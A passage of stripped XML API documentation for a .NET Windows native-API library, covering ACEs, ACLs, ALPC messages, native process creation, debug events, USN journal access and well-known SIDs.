code. + + + + Overridden Equals. + + The object to compare against. + True if equal. + + + + Get an empty access mask. + + + + + Overridden ToString method. + + The access mask. + + + + ToString method. + + Format code for the access mask. + The formatting string. + + + + ToString method. + + Format code for the access mask. + The format provider. + The formatting string. + + + + Flags representing what generic access the entry maps to. + + + + + Not mapped to any access. + + + + + Mapped to read. + + + + + Mapped to write. + + + + + Mapped to execute. + + + + + Mapped to All. + + + + + A structure to hold an access mask to enum mapping. + + + + + The access mask. + + + + + The value of the access mask entry enumeration. + + + + + The generic access this maps to. + + + + + The optional SDK name. + + + + + Overridden ToString method. + + The string form of the entry. + + + + Class to represent an Access Control Entry (ACE) + + + + + Check if the ACE is an allowed ACE. + + + + + Check if the ACE is a denied ACE. + + + + + Check if the ACE is an Object ACE + + + + + Check if the ACE is a callback ACE + + + + + Check if ACE is a conditional ACE + + + + + Check if ACE is a resource attribute ACE. + + + + + Check if ACE is a mandatory label ACE. + + + + + Check if ACE is a compound ACE. + + + + + Check if ACE is an audit ACE. + + + + + Check if ACE is an access filter ACE. + + + + + Check if ACE is a process trust label ACE. + + + + + Check if ACE is a critical ACE. + + + + + Check if ACE is inherit only. + + + + + Check if ACE is inherited by objects. + + + + + Check if ACE is inherited by objects. + + + + + Get ACE type + + + + + Get ACE flags + + + + + Get ACE access mask + + + + + Get ACE Security Identifier + + + + + The type of compound ACE. When serialized always set to Impersonate. + + + + + Get the client SID in a compound ACE. + + + + + Get optional Object Type + + + + + Get optional Inherited Object Type + + + + + Optional application data. + + + + + Get conditional check if a conditional ace. + + + + + Get or set resource attribute. + + + + + Constructor + + ACE type + ACE flags + ACE access mask + ACE sid + + + + Convert ACE to a string + + The ACE as a string + + + + Convert ACE to a string + + An enumeration type to format the access mask + True to try and resolve SID to a name + The ACE as a string + + + + Clone this ACE. + + The cloned ACE. + + + + Get whether the current access mask is granted specific permissions. + + The access mask to check + True one or more access granted. + + + + Get whether the current access mask is granted all specific permissions. + + The access mask to check + True access all is granted. + + + + Get the common name of the object type. + + Specify the domain for the object type. + If true then expand the list of properties. + The common name of the object type, or the GUID as a string. + This function could be quite slow to query the first time. + + + + Get the common name of the object type. + + If true then expand the list of properties. + The common name of the object type, or the GUID as a string. + This will query the local domain, it could be quite slow to query the first time. + + + + Get the common name of the object type. + + The common name of the object type, or the GUID as a string. + This will query the local domain, it could be quite slow to query the first time. + + + + Get the common name of the inherited object type. + + Specify the domain for the object type. + The common name of the object type, or the GUID as a string. + This function could be quite slow to query the first time. + + + + Get the common name of the inherited object type. + + The common name of the object type, or the GUID as a string. + This will query the local domain, it could be quite slow to query the first time. + + + + Convert the ACE to a byte array. + + The ACE as a byte array. + + + + Compare ACE to another object. + + The other object. + True if the other object equals this ACE + + + + Get hash code. + + The hash code + + + + Equality operator + + Left ACE + Right ACE + True if the ACEs are equal + + + + Not Equal operator + + Left ACE + Right ACE + True if the ACEs are not equal + + + + Class to represent an Access Control List (ACL) + + + + + Constructor + + Pointer to a raw ACL in memory + True if the ACL was defaulted + + + + Constructor + + Buffer containing an ACL in memory + True if the ACL was defaulted + + + + Constructor for a NULL ACL + + True if the ACL was defaulted + + + + Constructor for an empty ACL + + + + + Constructor + + List of ACEs to add to ACL + True if the ACL was defaulted + + + + Constructor + + List of ACEs to add to ACL + + + + Constructor. + + An SDDL string to create the DACL from. + The SDDL string should be of the form D:(...) or S:(...), if you specify + both a DACL and a SACL then only the DACL will be used. + + + + Convert the ACL to a byte array + + The ACL as a byte array + + + + Convert the ACL to a safe buffer + + The safe buffer + + + + Add an ace to the ACL + + The ACE to add + + + + Add an access allowed ace to the ACL + + The ACE access mask + The ACE flags + The ACE SID + + + + Add an access allowed ace to the ACL + + The ACE access mask + The ACE SID + + + + Add an access allowed ace to the ACL + + The ACE access mask + The ACE flags + The ACE SID + + + + Add an access allowed ace to the ACL + + The ACE access mask + The ACE SID + + + + Add an access denied ace to the ACL + + The ACE access mask + The ACE flags + The ACE SID + + + + Add an access denied ace to the ACL + + The ACE access mask + The ACE SID + + + + Add an access denied ace to the ACL + + The ACE access mask + The ACE flags + The ACE SID + + + + Add an access denied ace to the ACL + + The ACE access mask + The ACE SID + + + + Add an audit ace to the ACL + + The ACE access mask + The ACE flags + The ACE SID + + + + Add an audit ace to the ACL + + The ACE access mask + The ACE flags + The ACE SID + + + + Add an audit success ace to the ACL + + The ACE access mask + The ACE SID + + + + Add an audit success ace to the ACL + + The ACE access mask + The ACE SID + + + + Add an audit fail ace to the ACL + + The ACE access mask + The ACE SID + + + + Add an audit fail ace to the ACL + + The ACE access mask + The ACE SID + + + + Gets an indication if this ACL is canonical. + + Canonical means that deny ACEs are before allow ACEs. + True to canonicalize a DACL, otherwise a SACL. + True if the ACL is canonical. + + + + Gets an indication if this DACL is canonical. + + Canonical basically means that deny ACEs are before allow ACEs. + True if the ACL is canonical. + + + + Canonicalize the ACL. + + True to canonicalize a DACL, otherwise a SACL. + + + + Canonicalize the ACL (for use on DACLs only). + + The canonical ACL. + + + + Find the first ACE with a specified type. + + The type to find. + True to include inherit only ACEs. + The found ace. Returns null if not found. + + + + Find the first ACE with a specified type. Includes InheritOnly ACEs. + + The type to find. + The found ace. Returns null if not found. + + + + Find the all ACE with a specified type. + + The type to find. + True to include inherit only ACEs. + The found aces. + + + + Find the all ACE with a specified type. Includes InheritOnly ACEs. + + The type to find. + The found aces. + + + + Find the last ACE with a specified type. + + The type to find. + The found ace. Returns null if not found. + + + + Clone the ACL. Also clones all ACEs. + + The cloned ACL. + + + + Get or set whether the ACL was defaulted + + + + + Get or set whether the ACL is NULL (no security) + + + + + Get or set the protected flag. + + + + + Get or set the auto-inherited flag. + + + + + Get or set the auto-inherited required flag. + + + + + Get or set the ACL revision + + + + + Indicates the ACL has at least one conditional ACE. + + + + + Indicates the ACL has at least one object ACE. + + + + + Base class to represent an ALPC message. + + + + + Constructor. + + The port message header. + + + + Constructor. + + + + + Update the header length fields. + + The length of the valid data. + The maximum data length supported by the packet. + + + + Method to handle when ToSafeBuffer is called. + + The message buffer being created. + + + + Method to handle when FromSafeBuffer is called. + + The message buffer to initialize from.. + The ALPC port associated with this message. + + + + Get or set the header. + + + + + The process ID of the sender. + + + + + The thread ID of the sender. + + + + + Get total length of the message. + + + + + Get the allocated data length for the message. + + + + + Get data length of the message. + + + + + Get the message ID. + + + + + Get the callback ID. + + + + + Get the message type. + + + + + Get additional flags on message type. + + + + + Indicates that the message requires a reply (otherwise things can leak). + + + + + Indicates that the message requires a reply (obsolete). + + + + + Get direct status for the message. + + The direct status for the message. Returns STATUS_PENDING if the message is yet to be processed. + + + + Get the maximum size of a message minus the header size. + + + + + Create a safe buffer for this message. + + The safe buffer. + + + + Method to query information for a message. + + The information class. + The port which has processed the message. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Query a fixed structure from the object. + + The type of structure to return. + The information class to query. + The port which has processed the message. + A default value for the query. + True to throw on error. + The result of the query. + Thrown on error. + + + + Query a fixed structure from the object. + + The type of structure to return. + The port which has processed the message. + The information class to query. + A default value for the query. + The result of the query. + Thrown on error. + + + + Query a fixed structure from the object. + + The type of structure to return. + The port which has processed the message. + The information class to query. + The result of the query. + Thrown on error. + + + + An ALPC message which holds a raw set of bytes. + + + + + Constructor. + + Data to initialize the message with. + Maximum length of the message buffer. + Specify a text encoding for the DataString property. + + + + Constructor. + + Data to initialize the message with. + Maximum length of the message buffer. + + + + Constructor. + + Data to initialize the message with. + + + + Constructor. + + Data to initialize the message with. + Specify a text encoding for the DataString property. + + + + Constructor. + + Total allocated length of the message buffer. + + + + Constructor. + + Total allocated length of the message buffer. + Specify a text encoding for the DataString property. + + + + Get or set the message data. + + When you set the data it'll update the DataLength and TotalLength fields. + + + + Get or set the message data as an encoding string. + + When you set the data it'll update the DataLength and TotalLength fields. + + + + Get or set the text encoding in this raw message. + + + + + Method to handle when FromSafeBuffer is called. + + The message buffer to initialize from.. + The ALPC port associated with this message. + + + + Method to handle when ToSafeBuffer is called. + + The message buffer being created. + + + + An ALPC message which holds a specific type with optional trailing data. + + The type representing the data. + + + + Constructor for a receive buffer. + + + + + Constructor for a receive buffer. + + Length of message. This will be rounded up to at least accomodate the header. + + + + Constructor for a send/receive buffer. + + The initial value to set. + Trailing data. + + + + Constructor for a send/receive buffer. + + The initial value to set. + + + + Get or set the type in the buffer. + + + + + Get or set any trailing data after the value. + + + + + Method to handle when FromSafeBuffer is called. + + The message buffer to initialize from.. + The ALPC port associated with this message. + + + + Method to handle when ToSafeBuffer is called. + + The message buffer being created. + + + + Class to represent a set of sending attributes. + + + + + Constructor. + + + + + Constructor. + + List of attributes to send. + + + + Add an attribute object. + + The attribute to add. + + + + Remove an attribute object. + + The attribute flag to remove. + + + + Remove an attribute object. + + The attribute to remove. + + + + Add a list of handles to the send attributes. + + The list of objects. + This method doesn't maintain a reference to the objects. You need to keep them alive elsewhere. + + + + Add a list of handles to the send attributes. + + The list of handles. + + + + Add a list of handles to the send attributes. + + The handle to add. + This method doesn't maintain a reference to the objects. You need to keep them alive elsewhere. + + + + Add a list of handles to the send attributes. + + The handle to add. + + + + Get the allocated attributes. + + + + + Class to represent a set of received attributes. + + + + + Constructor. Allocated space for all known attributes. + + + + + Constructor. + + + + + Get the allocated attributes. + + + + + Get the list of valid attributes. + + + + + Get a list of the valid attributes. + + + + + Get list of passed handles. + + + + + Get the mapped data view. If no view sent this property is invalid. + + + + + Get the security context. If no security context this property is invalid. + + + + + Dispose method. + + + + + Get a typed attribute. + + The type of attribute to get. + The attribute. Returns a default initialized object if not valid. + + + + Get an attribute. + + The attribute flag to get. + The attribute. Returns null if not found. + + + + Convert this set of attributes to a buffer to send. + + The send attributes. + + + + Convert this set of attributes to one which can be used to free on continuation required. + + The attributes to + The send attributes. + + + + Checks if an attribute flag is valid. + + The attribute to test. + True if the attribute is value. + + + + Base class to represent a message attribute. + + + + + The flag for this attribute. + + + + + Constructor. + + The single attribute flag which this represents. + + + + Class representing a security message attribute. + + + + + Constructor. + + + + + Security attribute flags. + + + + + Security quality of service. + + + + + Context handle. + + + + + Create an attribute which with create a handle automatically. + + The security quality of service. + The security message attribute. + + + + Class representing a security message attribute. + + + + + Constructor. + + + + + Token ID of token. + + + + + Authentication ID of token. + + + + + Modified ID of token + + + + + Class representing a security message attribute. + + + + + Constructor. + + + + + Port context. + + + + + Message context. + + + + + Sequence number. + + + + + Message ID. + + + + + Callback ID. + + + + + Class representing a data view message attribute. + + + + + Constructor. + + + + + View flags. + + + + + Handle to section. + + + + + View base. + + + + + View size. + + + + + Handle attribute entry. + + + + + Handle flags. + + + + + The NT object. + + + + + The object type for the handle. + + + + + Desired access for the handle. + + + + + Constructor. + + Handle attribute to initialize from. + + + + Constructor. + + Handle attribute to initialize from. + + + + Constructor. + + Information structure to initialize from. + + + + Constructor. + + + + + Constructor. + + The object to construct the entry from. Will take a copy of the handle. + + + + Class representing a handle message attribute. + + + + + Constructor. + + + + + Constructor. + + List of handle entries. + + + + Constructor. + + The handle entry. + + + + Constructor. + + List of objects to create the handle entries. + This constructor takes copies of the objects. + + + + Constructor. + + A single object to send. + This constructor takes copies of the object. + + + + List of handles in this attribute. + + + + + Class representing a direct message attribute. + + + + + Constructor. + + The event object. + + + + The event object. + + + + + Class representing a work on behalf of message attribute. + + + + + Constructor. + + + + + Thread ID. + + + + + Thread creation time (low). + + + + + Safe buffer to store an allocated set of ALPC atributes. + + + + + Get a pointer to an allocated attribute. Returns NULL if not available. + + The attribute to get. + The pointer to the attribute buffer, IntPtr.Zero if not found. + + + + Get an attribute as a structured type. + + The attribute type. + The attribute. + A buffer which represents the structured type. + Thrown if attribute doesn't exist. + + + + Create a new buffer with allocations for a specified set of attributes. + + The attributes to allocate. + The allocated buffed. + + + + Dispose the safe buffer. + + True if disposing + + + + Detaches the current buffer and allocates a new one. + + The detached buffer. + The original buffer will become invalid after this call. + + + + Get the NULL buffer. + + + + + Class to represent an ALPC port section. + + + + + Handle to the port section. + + + + + Size of the port section. + + + + + The actual section size. + + + + + Create a new section view attribute. + + Specify the flags for the data view attribute. + The section view size. + True to throw on error. + The section view attribute. + + + + Create a new section view attribute. + + True to throw on error. + The section view attribute. + + + + Create a new section view attribute. + + Specify the flags for the data view attribute. + The section view size. + The section view attribute. + + + + Create a new section view attribute. + + The section view attribute. + + + + Dispose of the port section. + + + + + Supported windows verion + + + + + This should always be at the end. + + + + + Attribute to indicate the required version for a function. + Applied if the function needs a version greater than 7. + + + + + The supported version. + + + + + Constructor + + The supported version + + + + Attribute used for managed structures to indicate the start of data. + This is used in situations where the data immediately trail + + + + + Constructor + + The field name which indicates the first address of data. + + + + The field name which indicates the first address of data. + + + + + When allocating this structure always include the field in the total length calculation. + + + + + Class to represent an API set entry. + + + + + Flags for the entry. + + + + + The name of the API set. + + + + + The default host module. + + + + + Hash version of the name. + + + + + List of hosts. + + + + + Get host module for an import module. + + + + + + + Represents a single API set host. + + + + + The imported module this API set host applies to. + + + + + The module which implements this API set. + + + + + Is the host the default host. + + + + + Flags for API set namespace. + + + + + None. + + + + + The API set is sealed. + + + + + The API set is an extension. + + + + + Class to represent an API set namespace. + + + + + Flags for the namespace. + + + + + List of API set entries. + + + + + Get API set namespace from current process. + + + + + Gets an API set based on its name. + + The API set name. + The API set entry. Returns null if not found. + + + + Flags for a boundary descriptor + + + + + None + + + + + Automatically add the AppContainer package SID to the boundary + + + + + Class which represents a private namespace boundary descriptor + + + + + Constructor + + The name of the boundary + Additional flags for the boundary + + + + Constructor + + The name of the boundary + + + + Add a SID to the boundary descriptor. + + This SID is used in an access check when creating or deleting private namespaces. + The SID to add. + + + + Add an integrity level to the boundary descriptor. + + This integrity level is used in an access check when creating or deleting private namespaces. + The integrity level to add. + + + + Add a list of SIDs to the boundary descriptor. + + The SIDs to add. This can include normal and integrity level SIDs + + + + Add a list of SIDs to the boundary descriptor. + + The first SID to add + Additional SIDs + + + + The handle to the boundary descriptor. + + + + + Create a boundary descriptor from a string representation. + + A boundary descriptor string of the form [SID[:SID...]@]NAME where SID is an SDDL format SID. + The new boundary descriptor. + + + + Finalizer + + + + + Dispose + + + + + Some simple utilities to create structure buffers. + + + + + Create a buffer based on a passed type. + + The type to use in the structure buffer. + The value to initialize the buffer with. + Additional byte data after the structure. + Indicates if additional_size includes the structure size or not. + The new structure buffer. + + + + Create a buffer based on a passed type. + + The type to use in the structure buffer. + The value to initialize the buffer with. + The new structure buffer. + + + + Create a buffer based on a passed type. + + The type to use in the structure buffer. + The value to initialize the buffer with. + The new structure buffer. + + + + Create a buffer based on a passed type. + + The type to use in the structure buffer. + The value to initialize the buffer with. + Additional byte data after the structure. + Indicates if additional_size includes the structure size or not. + The new structure buffer. + + + + Create a buffer based on a byte array. + + The byte array for the buffer. + The safe buffer. + + + + Create an buffer from an array. + + The array element type, must be a value type. + The array of elements. + The allocated array buffer. + + + + Read a NUL terminated string for the byte offset. + + The buffer to read from. + The byte offset to read from. + The string read from the buffer without the NUL terminator + + + + Read a NUL terminated byte string for the byte offset. + + The buffer to read from. + The byte offset to read from. + Text encoding for the string. + The string read from the buffer without the NUL terminator + + + + Read a NUL terminated ANSI string for the byte offset. + + The buffer to read from. + The byte offset to read from. + The string read from the buffer without the NUL terminator + + + + Read a char array with length. + + The buffer to read from. + The number of characters to read. + The byte offset to read from. + The chars read from the buffer + + + + Read a Unicode string string with length. + + The buffer to read from. + The number of characters to read. + The byte offset to read from. + The string read from the buffer. + + + + Write char array. + + The buffer to write to. + The byte offset to write to. + The chars to write. + + + + Write unicode string. + + The buffer to write to. + The byte offset to write to. + The string value to write. + + + + Read bytes from buffer. + + The buffer to read from. + The byte offset to read from. + The number of bytes to read. + The byte array. + + + + Write bytes to a buffer. + + The buffer to write to. + The byte offset to write to. + The data to write. + + + + Get a structure buffer at a specific offset. + + The type of structure. + The buffer to map. + The offset into the buffer. + The structure buffer. + The returned buffer is not owned, therefore you need to maintain the original buffer while operating on this buffer. + + + + Creates a view of an existing safe buffer. + + The buffer to create a view on. + The offset from the start of the buffer. + The length of the view. + The buffer view. + Note that the returned buffer doesn't own the memory, therefore the original buffer + must be maintained for the lifetime of this buffer. + + + + Creates a view of an existing safe buffer. + + The buffer to create a view on. + The offset from the start of the buffer. + The length of the view. + True to make the view writable, false for read-only. + The buffer view. + Note that the returned buffer doesn't own the memory, therefore the original buffer + must be maintained for the lifetime of this buffer. + + + + Zero an entire buffer. + + The buffer to zero. + + + + Fill an entire buffer with a specific byte value. + + The buffer to full. + The fill value. + + + + Compare two buffers for equality. + + The left buffer. + The offset into the left buffer. + The right buffer. + The offset into the right buffer. + The length to compare. + True if the buffers are equal. + + + + Compare a buffer and a byte array for equality. + + The buffer. + The offset into the left buffer. + The compare byte array. + True if the buffers are equal. + + + + Find a byte array in a buffer. Returns all instances of the compare array. + + The buffer to find the data in. + Start offset in the buffer. + The comparison byte array. + A list of offsets into the buffer where the compare was found. + + + + Find a byte array in a buffer. Returns all instances of the compare array. + + The buffer to find the data in. + The comparison byte array. + A list of offsets into the buffer where the compare was found. + + + + Class to represent a Security Atttribute. + + + + + The name of the attribute. + + + + + The type of values. + + + + + The attribute flags. + + + + + The list of values. + + + + + The count of values. + + + + + Convert the attribute to a builder to modify it. + + The builder object. + + + + Convert the security attribute to an SDDL string. + + The security attribute as an SDDL string. + + + + Converts the attribute to a Resource Attribute ACE. + + The resource attribute ACE. + + + + Class to create a new user process using the native APIs. + + + + + Path to the executable to start. + + + + + Path to the executable to start which is passed in the process configuration. + + + + + Command line + + + + + Prepared environment block. + + + + + Title of the main window. + + + + + Path to DLLs. + + + + + Current directory for new process + + + + + Desktop information value + + + + + Shell information value + + + + + Runtime data. + + + + + Prohibited image characteristics for new process + + + + + Additional file access for opened executable file. + + + + + Process create flags. + + + + + Thread create flags. + + + + + Initialization flags + + + + + Parent process. + + + + + Restrict new child processes + + + + + Override restrict child process + + + + + Extra process/thread attributes + + + + + Added protected process protection level. + + The type of protected process. + The signer level. + + + + Return on error instead of throwing an exception. + + + + + Whether to terminate the process on dispose. + + + + + Specify a security descriptor for the process. + + + + + Specify a security descriptor for the initial thread. + + + + + Specify the primary token for the new process. + + + + + Access for process handle. + + + + + Access for thread handle. + + + + + Constructor + + + + + For the current process + + The new forked process result + + + + For the current process + + Process create flags. + Thread create flags. + The new forked process result + + + + For the current process + + Process create flags. + Thread create flags. + True to throw on error. + The new forked process result + + + + Start the new process based on the ImagePath parameter. + + The result of the process creation + + + + Start the new process + + The image path to the file to execute + The result of the process creation + + + + Result from a native create process call. + + + + + Handle to the process + + + + + Handle to the initial thread + + + + + Handle to the image file + + + + + Handle to the image section + + + + + Handle to the IFEO key (if it exists) + + + + + Image information + + + + + Client ID of process and thread + + + + + Process ID + + + + + Thread ID + + + + + Create status + + + + + True if create succeeded + + + + + Result of the create information + + + + + Creation state + + + + + Terminate the process + + Exit code for termination + + + + Resume initial thread + + The suspend count + + + + Set to true to terminate process on disposal + + + + + Finalizer + + + + + Dispose + + + + + The base class for a debug event. + + + + + Process ID for the event. + + + + + Thread ID for the event. + + + + + The event code. + + + + + Constructor. + + The current debug event. + The debug port associated with this event. + + + + Continue the debugged process. + + The continue status code. + True to throw on error. + The NT status code. + + + + Continue the debugged process. + + The continue status code. + + + + Continue the debugged process with a success code. + + + + + Dispose the event. + + + + + Debug event for the Create Process event. + + + + + Subsystem key for the process. + + + + + Handle to the process file (if available). + + + + + Base of image file. + + + + + Debug info file offset. + + + + + Debug info file size. + + + + + Subsystem key for the thread. + + + + + Start address of the thread. + + + + + Handle to the process (if available). + + + + + Handle to the thread (if available). + + + + + Dispose the event. + + + + + Debug event for the Create Thread event. + + + + + Subsystem key for the thread. + + + + + Start address of the thread. + + + + + Handle to the thread (if available). + + + + + Dispose the event. + + + + + Debug event for the Exit Thread event. + + + + + Exit status code. + + + + + Debug event for the Exit Process event. + + + + + Exit status code. + + + + + Debug event for load DLL event. + + + + + DLL file handle. + + + + + Base of loaded DLL. + + + + + Debug info offset. + + + + + Debug info size. + + + + + Address of name. + + + + + Dispose the event. + + + + + Debug event for unload DLL event. + + + + + Base of loaded DLL. + + + + + Debug event for exception event. + + + + + Indicates if this is a first chance exception. + + + + + Exception code. + + + + + Exception flags. + + + + + Pointer to next exception in the chain. + + + + + Address of exception. + + + + + Additional parameters for exception. + + + + + Debug event when we don't handle the state. + + + + + The raw debug event. + + + + + Represents a list where the elements can be trivially disposed in one go. + + An IDisposable implementing type + + + + Constructor + + + + + Constructor + + The initial capacity of the list + + + + Constructor + + A collection to initialize the list + + + + Add a resource to the list and return a reference to it. + + The type of resource to add. + The resource object. + The added resource. + + + + Add a resource to the list and return a reference to it. + + The type of resource to add. + The added resource. + + + + Convert this list to an array then clear it to the disposal no longer happens. + + The elements as an array. + After doing this the current list will be cleared. + + + + Detach a detachable reference and add it to the list. + + The type of resource to detach. + The detached resource. + + + + Dispose method + + + + + Implementation of disposable list which just accepts IDisposable objects. + + + + + Constructor + + + + + Constructor + + The initial capacity of the list + + + + Constructor + + A collection to initialize the list + + + + Adds a delegate which will be called when the list is disposed. + + The delegate to call on dispose. + This can be used to add more complex disposable. + + + + Disposable list of safe handles + + + + + Constructor + + + + + Constructor + + The initial capacity of the list + + + + Constructor + + A collection to initialize the list + + + + Move the handle list to a new disposable list. + + The list of handles which have been moved. + After doing this the current list will be cleared. + + + + Flags for an EA entry + + + + + No flags. + + + + + Processor must handle this EA. + + + + + A single EA entry. + + + + + Name of the entry + + + + + Data associated with the entry + + + + + Flags + + + + + Constructor + + The name of the entry + Data associated with the entry + Flags for entry. + + + + Constructor + + The name of the entry + Data associated with the entry + Flags for entry. + + + + Constructor + + The name of the entry + Data associated with the entry + Flags for entry. + + + + Get the EA buffer data as a string. + + The data as a string. + + + + Get the EA buffer data as an Int32. + + The data as an Int32. + + + + Convert entry to a string + + The entry as a string + + + + Class to create an Extended Attributes buffer for NtCreateFile + + + + + Constructor + + + + + Constructor + + List of entries to add. + + + + Constructor from a binary EA buffer + + The EA buffer to parse + + + + Constructor + + Existing buffer to copy. + + + + Add a new EA entry from an old entry. The data will be cloned. + + The entry to add. + + + + Add a new EA entry + + The name of the entry + The associated data, will be cloned + The entry flags. + + + + Add a new EA entry + + The name of the entry + The associated data + The entry flags. + + + + Add a new EA entry + + The name of the entry + The associated data + The entry flags. + + + + Get an entry by name. + + The name of the entry. + The found entry. + Thrown if no entry by that name. + + + + Remove an entry from the buffer. + + The entry to remove. + + + + Remove an entry from the buffer by name. + + The name of the entry. + Thrown if no entry by that name. + + + + Convert to a byte array + + The byte array + + + + Get the list of entries. + + + + + Get number of entries. + + + + + Get whether the buffer contains a specific entry. + + The name of the entry. + True if the buffer contains an entry with the name. + + + + Index to get an entry by name. + + The name of the entry. + The found entry. + Thrown if no entry by that name. + + + + Clear all entries. + + + + + Access rights generic mapping. + + + + + Mapping for Generic Read + + + + + Mapping for Generic Write + + + + + Mapping for Generic Execute + + + + + Mapping for Generic All + + + + + Map a generic access mask to a specific one. + + The generic mask to map. + The mapped mask. + + + + Get whether this generic mapping gives read access. + + The mask to check against. + True if we have read access. + + + + Get whether this generic mapping gives write access. + + The mask to check against. + True if we have write access. + + + + Get whether this generic mapping gives execute access. + + The mask to check against. + True if we have execute access. + + + + Get whether this generic mapping gives all access. + + The mask to check against. + True if we have all access. + + + + Try and unmap access mask to generic rights. + + The mask to unmap. + The unmapped mask. Any access which can be generic mapped is left in the mask as specific rights. + + + + Get the allowed access mask for a specified mandatory access policy. + + The mandatory access policy. + The allowed access mask for the policy. + In general NoWriteUp will always be set on the policy. + + + + Convert generic mapping to a string. + + The generic mapping as a string. + + + + Interface to abstract the kernel transaction manager support. + + + + + Get handle for the transaction. + + + + + Commit the transaction + + + + + Rollback the transaction + + + + + Enable the transaction for anything in the current thread context. + + The transaction context. This should be disposed to disable the transaction. + + + + Class to represent a mount point. + + + + + Symbolic link name. + + + + + Unique ID. + + + + + Device name. + + + + + Class to access mount point manager utilities. + + + + + Query the list of mount points. + + True to throw on error. + The list of mount points. + + + + Query the list of mount points. + + The list of mount points. + + + + Class to represent the USN journal data. + + + + + Flags for the USN journal change reason. + + + + + Class to represent a USN journal record. + + + + + Reference number of the file. + + + + + Reference number of the parent. + + + + + USN value. + + + + + Timestamp of entry. + + + + + Reason code. + + + + + Source info flags. + + + + + Security ID. + + + + + File attributes. + + + + + Filename. + + + + + Full path, if known. + + + + + Full Win32Path if known. + + + + + Flags for USN journal source information. + + + + + Class for methods relating to USN journal. + + + + + Read USN journal information. + + The handle to the volume to query. + True to throw on error. + The USN journal information. + + + + Read USN journal information. + + The handle to the volume to query. + The USN journal information. + + + + Read USN journal entries from the volume. + + The volume to read. + The start USN to read. + Last USN to read, exclusive. + Mask for what records to read. + The list of USN journal entries. + + + + Read all USN journal entries from the volume. + + The volume to read. + The list of USN journal entries. + + + + Read USN journal entries from the volume, unprivileged. + + The volume to read. + The start USN to read. + Last USN to read, exclusive. + Mask for what records to read. + The list of USN journal entries. + + + + Read USN journal entries from the volume, unprivileged. + + The volume to read. + The list of USN journal entries. + + + + An enumeration to reference a known SID. + + + + + NULL SID + + + + + Everyone SID + + + + + Local user SID + + + + + CREATOR OWNER SID + + + + + CREATOR GROUP SID + + + + + CREATOR OWNER SERVER SID + + + + + CREATOR OWNER SERVER SID + + + + + Service SID + + + + + ANONYMOUS LOGON SID + + + + + Authenticated Users SID + + + + + RESTRICTED SID + + + + + LOCAL SYSTEM SID + + + + + LOCAL SERVICE SID + + + + + NETWORK SERVICE SID + + + + + APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES SID + + + + + APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES + + + + + NT SERVICE\TrustedInstaller + + + + + BUILTIN\Users + + + + + BUILTIN\Administrators + + + + + APPLICATION PACKAGE AUTHORITY\Your Internet connection + + + + + APPLICATION PACKAGE AUTHORITY\Your Internet connection, including incoming connections from the Internet + + + + + APPLICATION PACKAGE AUTHORITY\Your home or work networks + + + + + APPLICATION PACKAGE AUTHORITY\Your pictures library + + + + + APPLICATION PACKAGE AUTHORITY\Your videos library + + + + + APPLICATION PACKAGE AUTHORITY\Your music library + + + + + APPLICATION PACKAGE AUTHORITY\Your documents library + + + + + APPLICATION PACKAGE AUTHORITY\Your Windows credentials + + + + + APPLICATION PACKAGE AUTHORITY\Software and hardware certificates or a smart card + + + + + APPLICATION PACKAGE AUTHORITY\Removable storage + + + + + APPLICATION PACKAGE AUTHORITY\Your Appointments + + + + + APPLICATION PACKAGE AUTHORITY\Your Contacts + + + + + APPLICATION PACKAGE AUTHORITY\Internet Explorer + + + + + Constrained Impersonation Capability + + + + + OWNER RIGHTS + + + + + NT AUTHORITY\SELF + + + + + NT AUTHORITY\WRITE RESTRICTED + + + + + BUILTIN\BUILTIN + + + + + NT AUTHORITY\INTERACTIVE + + + + + NT AUTHORITY\DIALUP + + + + + NT AUTHORITY\NETWORK + + + + + NT AUTHORITY\BATCH + + + + + NT AUTHORITY\PROXY + + + + + Static methods to get some known SIDs. + + + + + NULL SID + + + + + Everyone SID + + + + + Local user SID + + + + + CREATOR OWNER SID + + + + + CREATOR GROUP SID + + + + + CREATOR OWNER SERVER SID + + + + + CREATOR OWNER SERVER SID + + + + + Service SID + + + + + ANONYMOUS LOGON SID + + + + + Authenticated Users SID + + + + + RESTRICTED SID + + + + + NT AUTHORITY\WRITE RESTRICTED + + + + + BUILTIN\BUILTIN + + + + + NT AUTHORITY\INTERACTIVE + + + + + NT AUTHORITY\DIALUP + + + + + NT AUTHORITY\NETWORK + + + + + NT AUTHORITY\BATCH + + + + + NT AUTHORITY\PROXY + + + + + LOCAL SYSTEM SID + + + + + LOCAL SERVICE SID + + + + + NETWORK SERVICE SID + + + + + APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES SID + + + + + APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES + + + + + NT SERVICE\TrustedInstaller + + + + + BUILTIN\Users + + + + + BUILTIN\Administrators + + + + + APPLICATION PACKAGE AUTHORITY\Your Internet connection + + + + + APPLICATION PACKAGE AUTHORITY\Your Internet connection, including incoming connections from the Internet + + + + + APPLICATION PACKAGE AUTHORITY\Your home or work networks + + + + + APPLICATION PACKAGE AUTHORITY\Your pictures library + + + + + APPLICATION PACKAGE AUTHORITY\Your videos library + + + + + APPLICATION PACKAGE AUTHORITY\Your music library + + + + + APPLICATION PACKAGE AUTHORITY\Your documents library + + + + + APPLICATION PACKAGE AUTHORITY\Your Windows credentials + + + + + APPLICATION PACKAGE AUTHORITY\Software and hardware certificates or a smart card + + + + + APPLICATION PACKAGE AUTHORITY\Removable storage + + + + + APPLICATION PACKAGE AUTHORITY\Your Appointments + + + + + APPLICATION PACKAGE AUTHORITY\Your Contacts + + + + + APPLICATION PACKAGE AUTHORITY\Internet Explorer + + + + + Constrained Impersonation Capability + + + + + Get a known SID based on a specific enumeration. + + The enumerated sid value. + + + + + Class to represent an Access Control Entry for a Mandatory Label. + + + + + Constructor. + + Flags for the ACE. + The mandatory label policy. + The integrity level. + + + + Constructor from a raw integrity level. + + Flags for the ACE. + The mandatory label policy. + The integrity level sid. + + + + The policy for the mandatory label. + + + + + Get or set the integrity level + + + + + Convert ACE to a string. + + + + + + Class which represents a mapped file. + + + + + Native path to file. + + + + + Name of the file. + + + + + List of mapped sections. + + + + + Mapped base address of file. + + + + + Mapped size of file. + + + + + True if the mapped file is an image section. + + + + + Specified the signing level if an image (only on RS3+). + + + + + Class to represent memory information. + + + + + Base address of memory region. + + + + + Allocation base for memory region. + + + + + Initial allocation protection. + + + + + Region size. + + + + + Memory state. + + + + + Current memory protection. + + + 